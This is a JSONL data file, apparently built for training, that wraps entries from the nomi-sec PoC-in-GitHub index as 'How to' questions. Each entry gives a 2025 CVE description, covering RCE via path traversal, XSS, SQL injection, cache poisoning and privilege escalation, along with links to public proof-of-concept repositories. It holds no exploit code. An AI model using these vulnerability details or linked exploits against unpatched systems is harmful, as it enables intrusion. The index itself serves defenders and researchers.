"2026-01-17T08:20:56.155110"}
{"id": "gh_395559f036ec", "question": "How to: CVE-2025-27410 (2025-02-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nPwnDoc is a penetration test reporting application. Prior to version 1.2.0, the backup restore functionality is vulnerable to path traversal in the TAR entry's name, allowing an attacker to overwrite any file on the system with their content. By overwriting an included `.js` file and restarting the container, this allows for Remote Code Execution as an administrator. The remote code execution occurs because any user with the `backups:create` and `backups:update` (only administrators by default) is able to overwrite any file on the system. Version 1.2.0 fixes the issue.\n```\n- [shreyas-malhotra/CVE-2025-27410](https://github.com/shreyas-malhotra/CVE-2025-27410)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155117"}
{"id": "gh_b61efcad04e2", "question": "How to: CVE-2025-27415 (2025-03-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nNuxt is an open-source web development framework for Vue.js. Prior to 3.16.0, by sending a crafted HTTP request to a server behind an CDN, it is possible in some circumstances to poison the CDN cache and highly impacts the availability of a site. It is possible to craft a request, such as https://mysite.com/?/_payload.json which will be rendered as JSON. If the CDN in front of a Nuxt site ignores the query string when determining whether to cache a route, then this JSON response could be served to future visitors to the site. An attacker can perform this attack to a vulnerable site in order to make a site unavailable indefinitely. It is also possible in the case where the cache will be reset to make a small script to send a request each X seconds (=caching duration) so that the cache is permanently poisoned making the site completely unavailable. This vulnerability is fixed in 3.16.0.\n```\n- [jiseoung/CVE-2025-27415-PoC](https://github.com/jiseoung/CVE-2025-27415-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155123"}
{"id": "gh_5b6376718aae", "question": "How to: CVE-2025-27480 (2025-04-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUse after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.\n```\n- [mrk336/CVE-2025-27480-The-Silent-Gateway-Risk](https://github.com/mrk336/CVE-2025-27480-The-Silent-Gateway-Risk)\n- [mrk336/CVE-2025-27480](https://github.com/mrk336/CVE-2025-27480)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155127"}
{"id": "gh_a1c5c7db814b", "question": "How to: CVE-2025-27515 (2025-03-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nLaravel is a web application framework. When using wildcard validation to validate a given file or image field (`files.*`), a user-crafted malicious request could potentially bypass the validation rules. This vulnerability is fixed in 11.44.1 and 12.1.1.\n```\n- [joaovicdev/EXPLOIT-CVE-2025-27515](https://github.com/joaovicdev/EXPLOIT-CVE-2025-27515)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155133"}
{"id": "gh_9e7f4992564c", "question": "How to: CVE-2025-27519 (2025-03-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCognita is a RAG (Retrieval Augmented Generation) Framework for building modular, open source applications for production by TrueFoundry. A path traversal issue exists at /v1/internal/upload-to-local-directory which is enabled when the Local env variable is set to true, such as when Cognita is setup using Docker. Because the docker environment sets up the backend uvicorn server with auto reload enabled, when an attacker overwrites the /app/backend/__init__.py file, the file will automatically be reloaded and executed. This allows an attacker to get remote code execution in the context of the Docker container. This vulnerability is fixed in commit a78bd065e05a1b30a53a3386cc02e08c317d2243.\n```\n- [Diabl0xE/CVE-2025-27519](https://github.com/Diabl0xE/CVE-2025-27519)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155138"}
{"id": "gh_73ca712b99aa", "question": "How to: CVE-2025-27520 (2025-04-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nBentoML is a Python library for building online serving systems optimized for AI apps and model inference. A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version (v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. It exists an unsafe code segment in serde.py. This vulnerability is fixed in 1.4.3.\n```\n- [amalpvatayam67/day09-bentoml-deser-lab](https://github.com/amalpvatayam67/day09-bentoml-deser-lab)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155143"}
{"id": "gh_80899c7070a4", "question": "How to: CVE-2025-27533 (2025-05-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMemory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ.\\n\\nDuring unmarshalling of OpenWire commands the size value of buffers was not properly validated which could lead to excessive memory allocation and be exploited to cause a denial of service (DoS) by depleting process memory, thereby affecting applications and services that rely on the availability of the ActiveMQ broker when not using mutual TLS connections.\\nThis issue affects Apache ActiveMQ: from 6.0.0 before 6.1.6, from 5.18.0 before 5.18.7, from 5.17.0 before 5.17.7, before 5.16.8. ActiveMQ 5.19.0 is not affected.\\n\\nUsers are recommended to upgrade to version 6.1.6+, 5.19.0+,  5.18.7+, 5.17.7, or 5.16.8 or which fixes the issue.\\n\\nExisting users may implement mutual TLS to mitigate the risk on affected brokers.\n```\n- [absholi7ly/CVE-2025-27533-Exploit-for-Apache-ActiveMQ](https://github.com/absholi7ly/CVE-2025-27533-Exploit-for-Apache-ActiveMQ)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155148"}
{"id": "gh_d5e1bc60c539", "question": "How to: CVE-2025-27558 (2025-05-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIEEE P802.11-REVme D1.1 through D7.0 allows FragAttacks against mesh networks. In mesh networks using Wi-Fi Protected Access (WPA, WPA2, or WPA3) or Wired Equivalent Privacy (WEP), an adversary can exploit this vulnerability to inject arbitrary frames towards devices that support receiving non-SSP A-MSDU frames. NOTE: this issue exists because of an incorrect fix for CVE-2020-24588. P802.11-REVme, as of early 2025, is a planned release of the 802.11 standard.\n```\n- [Atlas-ghostshell/CVE-2025-27558_Patching](https://github.com/Atlas-ghostshell/CVE-2025-27558_Patching)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155153"}
{"id": "gh_353af97390c9", "question": "How to: CVE-2025-27580 (2025-04-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nNIH BRICS (aka Biomedical Research Informatics Computing System) through 14.0.0-67 generates predictable tokens (that depend on username, time, and the fixed 7Dl9#dj- string) and thus allows unauthenticated users with a Common Access Card (CAC) to escalate privileges and compromise any account, including administrators.\n```\n- [TrustStackSecurity/CVE-2025-27580](https://github.com/TrustStackSecurity/CVE-2025-27580)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155157"}
{"id": "gh_f172f3c46007", "question": "How to: CVE-2025-27581 (2025-04-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nNIH BRICS (aka Biomedical Research Informatics Computing System) through 14.0.0-67 allows users who lack the InET role to access the InET module via direct requests to known endpoints.\n```\n- [Henryisnotavailable/CVE-2025-27581](https://github.com/Henryisnotavailable/CVE-2025-27581)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155162"}
{"id": "gh_8852228d80b3", "question": "How to: CVE-2025-27590 (2025-03-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn oxidized-web (aka Oxidized Web) before 0.15.0, the RANCID migration page allows an unauthenticated user to gain control over the Linux user account that is running oxidized-web.\n```\n- [fatkz/CVE-2025-27590](https://github.com/fatkz/CVE-2025-27590)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155166"}
{"id": "gh_b8396f7db197", "question": "How to: CVE-2025-27591 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA privilege escalation vulnerability existed in the Below service prior to v0.9.0 due to the creation of a world-writable directory at /var/log/below. This could have allowed local unprivileged users to escalate to root privileges through symlink attacks that manipulate files such as /etc/shadow.\n```\n- [obamalaolu/CVE-2025-27591](https://github.com/obamalaolu/CVE-2025-27591)\n- [rvizx/CVE-2025-27591](https://github.com/rvizx/CVE-2025-27591)\n- [BridgerAlderson/CVE-2025-27591-PoC](https://github.com/BridgerAlderson/CVE-2025-27591-PoC)\n- [DarksBlackSk/CVE-2025-27591](https://github.com/DarksBlackSk/CVE-2025-27591)\n- [dollarboysushil/Linux-Privilege-Escalation-CVE-2025-27591](https://github.com/dollarboysushil/Linux-Privilege-Escalation-CVE-2025-27591)\n- [alialucas7/CVE-2025-27591_PoC](https://github.com/alialucas7/CVE-2025-27591_PoC)\n- [incommatose/CVE-2025-27591-PoC](https://github.com/incommatose/CVE-2025-27591-PoC)\n- [00xCanelo/CVE-2025-27591](https://github.com/00xCanelo/CVE-2025-27591)\n- [Thekin-ctrl/CVE-2025-27591-Below](https://github.com/Thekin-ctrl/CVE-2025-27591-Below)\n- [Cythonic1/CVE-2025-27591](https://github.com/Cythonic1/CVE-2025-27591)\n- [umutcamliyurt/CVE-2025-27591](https://github.com/umutcamliyurt/CVE-2025-27591)\n- [danil-koltsov/below-log-race-poc](https://github.com/danil-koltsov/below-log-race-poc)\n- [VisaiCyber/CVE-2025-27591-below-](https://github.com/VisaiCyber/CVE-2025-27591-below-)\n- [0xDTC/Below-Logger-Symlink-Attack_CVE-2025-27591](https://github.com/0xDTC/Below-Logger-Symlink-Attack_CVE-2025-27591)\n- [0x00Jeff/CVE-2025-27591](https://github.com/0x00Jeff/CVE-2025-27591)\n- [Stp1t/CVE-2025-27591](https://github.com/Stp1t/CVE-2025-27591)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155172"}
{"id": "gh_0436880e1194", "question": "How to: CVE-2025-27607 (2025-03-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nPython JSON Logger is a JSON Formatter for Python Logging. Between 30 December 2024 and 4 March 2025 Python JSON Logger was vulnerable to RCE through a missing dependency. This occurred because msgspec-python313-pre was deleted by the owner leaving the name open to being claimed by a third party. If the package was claimed, it would allow them RCE on any Python JSON Logger user who installed the development dependencies on Python 3.13 (e.g. pip install python-json-logger[dev]). This issue has been resolved with 3.3.0.\n```\n- [Barsug/msgspec-python313-pre](https://github.com/Barsug/msgspec-python313-pre)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155177"}
{"id": "gh_2ec886e2ba71", "question": "How to: CVE-2025-27636 (2025-03-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nBypass/Injection vulnerability in Apache Camel components under particular conditions.\\n\\nThis issue affects Apache Camel: from 4.10.0 through <= 4.10.1, from 4.8.0 through <= 4.8.4, from 3.10.0 through <= 3.22.3.\\n\\nUsers are recommended to upgrade to version 4.10.2 for 4.10.x LTS, 4.8.5 for 4.8.x LTS and 3.22.4 for 3.x releases.\\n\\n\\n\\nThis vulnerability is present in Camel's default incoming header filter, that allows an attacker to include Camel specific\\n\\nheaders that for some Camel components can alter the behaviours such as the camel-bean component, to call another method\\n\\non the bean, than was coded in the application. In the camel-jms component, then a malicious header can be used to send\\n\\nthe message to another queue (on the same broker) than was coded in the application. This could also be seen by using the camel-exec component\\n\\n\\n\\n\\nThe attacker would need to inject custom headers, such as HTTP protocols. So if you have Camel applications that are\\n\\ndirectly connected to the internet via HTTP, then an attacker could include malicious HTTP headers in the HTTP requests\\n\\nthat are send to the Camel application.\\n\\n\\n\\n\\nAll the known Camel HTTP component such as camel-servlet, camel-jetty, camel-undertow, camel-platform-http, and camel-netty-http would be vulnerable out of the box.\\n\\nIn these conditions an attacker could be able to forge a Camel header name and make the bean component invoking other methods in the same bean.\\n\\nIn terms of usage of the default header filter strategy the list of components using that is: \\n\\n\\n  *  camel-activemq\\n  *  camel-activemq6\\n  *  camel-amqp\\n  *  camel-aws2-sqs\\n  *  camel-azure-servicebus\\n  *  camel-cxf-rest\\n  *  camel-cxf-soap\\n  *  camel-http\\n  *  camel-jetty\\n  *  camel-jms\\n  *  camel-kafka\\n  *  camel-knative\\n  *  camel-mail\\n  *  camel-nats\\n  *  camel-netty-http\\n  *  camel-platform-http\\n  *  camel-rest\\n  *  camel-sjms\\n  *  camel-spring-rabbitmq\\n  *  camel-stomp\\n  *  camel-tahu\\n  *  camel-undertow\\n  *  camel-xmpp\\n\\n\\n\\n\\n\\n\\nThe vulnerability arises due to a bug in the default filtering mechanism that only blocks headers starting with \"Camel\", \"camel\", or \"org.apache.camel.\". \\n\\n\\nMitigation: You can easily work around this in your Camel applications by removing the headers in your Camel routes. There are many ways of doing this, also globally or per route. This means you could use the removeHeaders EIP, to filter out anything like \"cAmel, cAMEL\" etc, or in general everything not starting with \"Camel\", \"camel\" or \"org.apache.camel.\".\n```\n- [akamai/CVE-2025-27636-Apache-Camel-PoC](https://github.com/akamai/CVE-2025-27636-Apache-Camel-PoC)\n- [enochgitgamefied/CVE-2025-27636-Practical-Lab](https://github.com/enochgitgamefied/CVE-2025-27636-Practical-Lab)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155186"}
{"id": "gh_a01b2c7cd3d3", "question": "How to: CVE-2025-27817 (2025-06-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA possible arbitrary file read and SSRF vulnerability has been identified in Apache Kafka Client. Apache Kafka Clients accept configuration data for setting the SASL/OAUTHBEARER connection with the brokers, including \"sasl.oauthbearer.token.endpoint.url\" and \"sasl.oauthbearer.jwks.endpoint.url\". Apache Kafka allows clients to read an arbitrary file and return the content in the error log, or sending requests to an unintended location. In applications where Apache Kafka Clients configurations can be specified by an untrusted party, attackers may use the \"sasl.oauthbearer.token.endpoint.url\" and \"sasl.oauthbearer.jwks.endpoint.url\" configuratin to read arbitrary contents of the disk and environment variables or make requests to an unintended location. In particular, this flaw may be used in Apache Kafka Connect to escalate from REST API access to filesystem/environment/URL access, which may be undesirable in certain environments, including SaaS products. \\n\\nSince Apache Kafka 3.9.1/4.0.0, we have added a system property (\"-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls\") to set the allowed urls in SASL JAAS configuration. In 3.9.1, it accepts all urls by default for backward compatibility. However in 4.0.0 and newer, the default value is empty list and users have to set the allowed urls explicitly.\n```\n- [kk12-30/CVE-2025-27817](https://github.com/kk12-30/CVE-2025-27817)\n- [iSee857/CVE-2025-27817](https://github.com/iSee857/CVE-2025-27817)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155194"}
{"id": "gh_e8ffb0780ab5", "question": "How to: CVE-2025-27840 (2025-03-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEspressif ESP32 chips allow 29 hidden HCI commands, such as 0xFC02 (Write memory).\n```\n- [em0gi/CVE-2025-27840](https://github.com/em0gi/CVE-2025-27840)\n- [demining/Bluetooth-Attacks-CVE-2025-27840](https://github.com/demining/Bluetooth-Attacks-CVE-2025-27840)\n- [ladyg00se/CVE-2025-27840-WIP](https://github.com/ladyg00se/CVE-2025-27840-WIP)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155199"}
{"id": "gh_bc2edc287d64", "question": "How to: CVE-2025-27893 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn Archer Platform 6 through 6.14.00202.10024, an authenticated user with record creation privileges can manipulate immutable fields, such as the creation date, by intercepting and modifying a Copy request via a GenericContent/Record.aspx?id= URI. NOTE: the Supplier analyzed the reported exploitation steps and found that, although the user can modify the immutable field, upon switching to View mode the field is reverted to its original value, without anything being saved to the database (and consequently there is no impact).\n```\n- [NastyCrow/CVE-2025-27893](https://github.com/NastyCrow/CVE-2025-27893)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155204"}
{"id": "gh_816530a1a7ed", "question": "How to: CVE-2025-28009 (2025-04-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA SQL Injection vulnerability exists in the `u` parameter of the progress-body-weight.php endpoint of Dietiqa App v1.0.20.\n```\n- [0xs4h4/CVE-2025-28009](https://github.com/0xs4h4/CVE-2025-28009)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155210"}
{"id": "gh_5049c87671b3", "question": "How to: CVE-2025-28062 (2025-05-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Cross-Site Request Forgery (CSRF) vulnerability was discovered in ERPNEXT 14.82.1 and 14.74.3. The vulnerability allows an attacker to perform unauthorized actions such as user deletion, password resets, and privilege escalation due to missing CSRF protections.\n```\n- [Thvt0ne/CVE-2025-28062](https://github.com/Thvt0ne/CVE-2025-28062)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155214"}
{"id": "gh_b86698a6ab9a", "question": "How to: CVE-2025-28073 (2025-05-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nphpList before 3.6.15 is vulnerable to Reflected Cross-Site Scripting (XSS) via the /lists/dl.php endpoint. An attacker can inject arbitrary JavaScript code by manipulating the id parameter, which is improperly sanitized.\n```\n- [mLniumm/CVE-2025-28073](https://github.com/mLniumm/CVE-2025-28073)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155218"}
{"id": "gh_0d059a80cfd2", "question": "How to: CVE-2025-28074 (2025-05-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nphpList before 3.6.15 is vulnerable to Cross-Site Scripting (XSS) due to improper input sanitization in lt.php. The vulnerability is exploitable when the application dynamically references internal paths and processes untrusted input without escaping, allowing an attacker to inject malicious JavaScript.\n```\n- [mLniumm/CVE-2025-28074](https://github.com/mLniumm/CVE-2025-28074)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155222"}
{"id": "gh_d60f7de958b9", "question": "How to: CVE-2025-28121 (2025-04-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\ncode-projects Online Exam Mastering System 1.0 is vulnerable to Cross Site Scripting (XSS) in feedback.php via the \"q\" parameter allowing remote attackers to execute arbitrary code.\n```\n- [pruthuraut/CVE-2025-28121](https://github.com/pruthuraut/CVE-2025-28121)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155227"}
{"id": "gh_663924e0677c", "question": "How to: CVE-2025-28346", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [Shubham03007/CVE-2025-28346](https://github.com/Shubham03007/CVE-2025-28346)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155231"}
{"id": "gh_cf8abbad4350", "question": "How to: CVE-2025-28355 (2025-04-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVolmarg Personal Management System 1.4.65 is vulnerable to Cross Site Request Forgery (CSRF) allowing attackers to execute arbitrary code and obtain sensitive information via the SameSite cookie attribute defaults value set to none\n```\n- [abbisQQ/CVE-2025-28355](https://github.com/abbisQQ/CVE-2025-28355)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155235"}
{"id": "gh_ce6ce92dbbf6", "question": "How to: CVE-2025-28915 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in Theme Egg ThemeEgg ToolKit allows Upload a Web Shell to a Web Server. This issue affects ThemeEgg ToolKit: from n/a through 1.2.9.\n```\n- [Nxploited/CVE-2025-28915](https://github.com/Nxploited/CVE-2025-28915)\n- [Pei4AN/CVE-2025-28915](https://github.com/Pei4AN/CVE-2025-28915)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155243"}
{"id": "gh_a32ac7818da8", "question": "How to: CVE-2025-29015 (2025-04-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCode Astro Internet Banking System 2.0.0 is vulnerable to Cross Site Scripting (XSS) via the name parameter in /admin/pages_account.php.\n```\n- [b1tm4r/CVE-2025-29015](https://github.com/b1tm4r/CVE-2025-29015)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155247"}
{"id": "gh_3289a0a00dfd", "question": "How to: CVE-2025-29017 (2025-04-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Remote Code Execution (RCE) vulnerability exists in Code Astro Internet Banking System 2.0.0 due to improper file upload validation in the profile_pic parameter within pages_view_client.php.\n```\n- [b1tm4r/CVE-2025-29017](https://github.com/b1tm4r/CVE-2025-29017)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155251"}
{"id": "gh_c7122eb6a796", "question": "How to: CVE-2025-29018 (2025-04-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Stored Cross-Site Scripting (XSS) vulnerability exists in the name parameter of pages_add_acc_type.php in Code Astro Internet Banking System 2.0.0.\n```\n- [b1tm4r/CVE-2025-29018](https://github.com/b1tm4r/CVE-2025-29018)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155256"}
{"id": "gh_eb1c27c3f543", "question": "How to: CVE-2025-29093 (2025-06-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nFile Upload vulnerability in Motivian Content Mangment System v.41.0.0 allows a remote attacker to execute arbitrary code via the Content/Gallery/Images component.\n```\n- [FraMarcuccio/CVE-2025-29093-Arbitrary-File-Upload](https://github.com/FraMarcuccio/CVE-2025-29093-Arbitrary-File-Upload)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155262"}
{"id": "gh_f95caa3f2f6c", "question": "How to: CVE-2025-29094 (2025-06-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross Site Scripting vulnerability in Motivian Content Mangment System v.41.0.0 allows a remote attacker to execute arbitrary code via the Marketing/Forms, Marketing/Offers and Content/Pages components.\n```\n- [FraMarcuccio/CVE-2025-29094-Multiple-Stored-Cross-Site-Scripting-XSS](https://github.com/FraMarcuccio/CVE-2025-29094-Multiple-Stored-Cross-Site-Scripting-XSS)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155266"}
{"id": "gh_4ccd5fc08e93", "question": "How to: CVE-2025-29275", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [0xBl4nk/CVE-2025-29275](https://github.com/0xBl4nk/CVE-2025-29275)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155270"}
{"id": "gh_a02438402d2f", "question": "How to: CVE-2025-29276", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [0xBl4nk/CVE-2025-29276](https://github.com/0xBl4nk/CVE-2025-29276)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155274"}
{"id": "gh_41b027f42c17", "question": "How to: CVE-2025-29277", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [0xBl4nk/CVE-2025-29277](https://github.com/0xBl4nk/CVE-2025-29277)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155277"}
{"id": "gh_0009e0a0c5d4", "question": "How to: CVE-2025-29278", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [0xBl4nk/CVE-2025-29278](https://github.com/0xBl4nk/CVE-2025-29278)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155281"}
